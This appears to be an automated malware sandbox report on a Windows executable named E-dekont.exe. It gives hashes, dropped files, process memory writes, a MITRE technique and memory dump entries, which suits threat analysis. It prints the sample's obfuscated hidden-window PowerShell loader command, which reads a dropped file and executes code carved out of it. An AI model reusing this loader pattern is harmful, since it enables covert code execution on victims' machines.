b2aedf1de53ed6e8b341efc26bfa06068a0c1dcfa04af94d998ced18546ad5d4

Analysis

max time kernel
145s
max time network
271s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
19/02/2024, 09:22

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General

Target

E-dekont.exe
Size

575KB
MD5

46b01a46c54eae7a4a22df08acd2148d
SHA1

b68dd5edfa58283488c7de3eeed549cc2cf34ace
SHA256

b2aedf1de53ed6e8b341efc26bfa06068a0c1dcfa04af94d998ced18546ad5d4
SHA512

f2fc66d4ee5057e760ebc758d9b5b937f8ab070724bd0611c4458520c5c21a839e094ad06b5760c59167a88614d1afff5512ef5120237c1b89ab23032e9991e8
SSDEEP

12288:FmWRppHy/X3hRbetbLiiJTFoAtV9Tj20z168E7rg3ONKUH1:FmWRYhR6tbRJTFjTjxzk8QOyH1

Score

7^/10

Malware Config

Signatures

Loads dropped DLL 1 IoCs

pid	Process
4564	E-dekont.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\optugte\Supermand.Uns	E-dekont.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\uptable.til	E-dekont.exe
File created	C:\Program Files (x86)\Oppida.lnk	E-dekont.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Fonts\Bernini229\zoophile.Dis	E-dekont.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1900	powershell.exe
1900	powershell.exe
1900	powershell.exe
1900	powershell.exe
1900	powershell.exe
1900	powershell.exe
1900	powershell.exe
1900	powershell.exe
1900	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1900	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4564 wrote to memory of 1900	4564	E-dekont.exe	83
PID 4564 wrote to memory of 1900	4564	E-dekont.exe	83
PID 4564 wrote to memory of 1900	4564	E-dekont.exe	83

C:\Users\Admin\AppData\Local\Temp\E-dekont.exe
"C:\Users\Admin\AppData\Local\Temp\E-dekont.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:4564
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Vandvrkerne=Get-Content 'C:\Users\Admin\AppData\Roaming\kolossens\livrente\markedsfringsomkostnings\Melitta\Assonantic\evakueringsvelsers\Jakobskamp\Blyantstegninger.Mum';$Blodsukkerets27=$Vandvrkerne.SubString(43740,3);.$Blodsukkerets27($Vandvrkerne)"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i0f15y5b.ab0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi4FA7.tmp\nsExec.dll

Filesize
6KB

MD5
293165db1e46070410b4209519e67494

SHA1
777b96a4f74b6c34d43a4e7c7e656757d1c97f01

SHA256
49b7477db8dd22f8cf2d41ee2d79ce57797f02e8c7b9e799951a6c710384349a

SHA512
97012139f2da5868fe8731c0b0bcb3cfda29ed10c2e6e2336b504480c9cd9fb8f4728cca23f1e0bd577d75daa542e59f94d1d341f4e8aaeebc7134bf61288c19

Download Submit
C:\Users\Admin\AppData\Roaming\kolossens\livrente\markedsfringsomkostnings\Melitta\Assonantic\evakueringsvelsers\Jakobskamp\Blyantstegninger.Mum

Filesize
42KB

MD5
a986fd781b75d8deae5059a8eaf9947b

SHA1
00e654981fe37b648a5799c04856830d83345736

SHA256
c2fb393897717d953dfd2ccfd179fccba1dbae00fa6c7a9ca46610b78b9ba085

SHA512
ccc7b6aacc718ab09d871e933227d02299e9c9c119669f15804d988b46d7ba0db45aedf6d1a61f4844ec091d6a6e9ef3e0557b3c50420693453a2df59c4b2545

Download Submit
memory/1900-36-0x0000000005810000-0x0000000005B64000-memory.dmp

Filesize
3.3MB

Download
memory/1900-38-0x0000000005E40000-0x0000000005E8C000-memory.dmp

Filesize
304KB

Download
memory/1900-23-0x0000000005090000-0x00000000056B8000-memory.dmp

Filesize
6.2MB

Download
memory/1900-24-0x0000000005030000-0x0000000005052000-memory.dmp

Filesize
136KB

Download
memory/1900-25-0x0000000005730000-0x0000000005796000-memory.dmp

Filesize
408KB

Download
memory/1900-26-0x00000000057A0000-0x0000000005806000-memory.dmp

Filesize
408KB

Download
memory/1900-21-0x0000000004A50000-0x0000000004A60000-memory.dmp

Filesize
64KB

Download
memory/1900-20-0x00000000739F0000-0x00000000741A0000-memory.dmp

Filesize
7.7MB

Download
memory/1900-37-0x0000000005E10000-0x0000000005E2E000-memory.dmp

Filesize
120KB

Download
memory/1900-22-0x0000000004A50000-0x0000000004A60000-memory.dmp

Filesize
64KB

Download
memory/1900-39-0x0000000006E90000-0x0000000006F26000-memory.dmp

Filesize
600KB

Download
memory/1900-40-0x00000000062E0000-0x00000000062FA000-memory.dmp

Filesize
104KB

Download
memory/1900-41-0x0000000006350000-0x0000000006372000-memory.dmp

Filesize
136KB

Download
memory/1900-42-0x00000000077B0000-0x0000000007D54000-memory.dmp

Filesize
5.6MB

Download
memory/1900-19-0x0000000002810000-0x0000000002846000-memory.dmp

Filesize
216KB

Download
memory/1900-44-0x00000000083E0000-0x0000000008A5A000-memory.dmp

Filesize
6.5MB

Download
memory/1900-46-0x00000000739F0000-0x00000000741A0000-memory.dmp

Filesize
7.7MB

Download
memory/1900-48-0x0000000004A50000-0x0000000004A60000-memory.dmp

Filesize
64KB

Download